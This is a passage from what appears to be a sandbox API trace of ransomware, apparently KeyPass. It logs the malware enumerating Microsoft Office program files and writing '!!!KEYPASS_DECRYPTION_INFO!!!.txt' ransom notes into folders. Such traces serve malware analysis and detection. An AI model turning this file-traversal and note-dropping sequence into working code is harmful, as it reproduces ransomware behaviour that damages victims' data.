lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL065.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL075.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL077.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL078.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL081.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL082.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL083.XML") returned=".XML" [0264.600] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL086.XML") returned=".XML" [0264.600] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL087.XML") returned=".XML" [0264.600] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL089.XML") returned=".XML" [0264.600] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL090.XML") returned=".XML" [0264.600] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.600] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL092.XML") returned=".XML" [0264.600] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.601] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL093.XML") returned=".XML" [0264.601] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.601] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL095.XML") returned=".XML" [0264.601] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.601] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL096.XML") returned=".XML" [0264.601] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.602] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL097.XML") returned=".XML" [0264.602] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.602] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL102.XML") returned=".XML" [0264.602] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL103.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL104.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL105.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL106.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL107.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL108.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL109.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL110.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL111.XML") returned=".XML" [0264.603] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL112.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL115.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL116.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL117.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL118.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL119.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL120.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL121.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN001.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN002.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN010.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN011.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.604] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN020.XML") returned=".XML" [0264.604] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN022.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN026.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN027.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN044.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN048.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN054.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN058.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN065.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN075.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN081.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN082.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN086.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.605] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN089.XML") returned=".XML" [0264.605] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN090.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN092.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN095.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN096.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN097.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN102.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN103.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN105.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN107.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN108.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN109.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN110.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN111.XML") returned=".XML" [0264.606] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN114.XML") returned=".XML" [0264.607] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN120.XML") returned=".XML" [0264.607] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN121.XML") returned=".XML" [0264.607] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PG_INDEX.XML") returned=".XML" [0264.607] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE") returned=".EXE" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDSBASE.DLL") returned=".DLL" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PE.DLL") returned=".DLL" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PEOPLEDATAHANDLER.DLL") returned=".DLL" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PerfBoost.exe") returned=".exe" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PJCALEND.DLL") returned=".DLL" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\pkeyconfig-office.xrm-ms") returned=".xrm-ms" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\platform-bridge.win32.bundle") returned=".bundle" [0264.607] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.607] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE") returned=".EXE" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\powerpnt.exe.manifest") returned=".manifest" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml") returned=".xml" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPCORE.DLL") returned=".DLL" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPRESOURCES.DLL") returned=".DLL" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPSLAX.DLL") returned=".DLL" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE") returned=".EXE" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJIMPT.EXE") returned=".EXE" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROJMODL.DLL") returned=".DLL" [0264.608] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.608] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.608] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.608] GetLastError () returned 0x3f0 [0264.608] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.608] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8c [0264.637] GetFileType (hFile=0xb8c) returned 0x1 [0264.638] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.638] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.638] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.638] WriteFile (in: hFile=0xb8c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.639] WriteFile (in: hFile=0xb8c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.639] CloseHandle (hObject=0xb8c) returned 1 [0264.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2bac8 [0264.639] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.639] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.639] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.639] FindNextFileW (in: hFindFile=0x4e2bac8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.640] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0264.640] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.640] GetLastError () returned 0x3f0 [0264.640] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.640] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb90 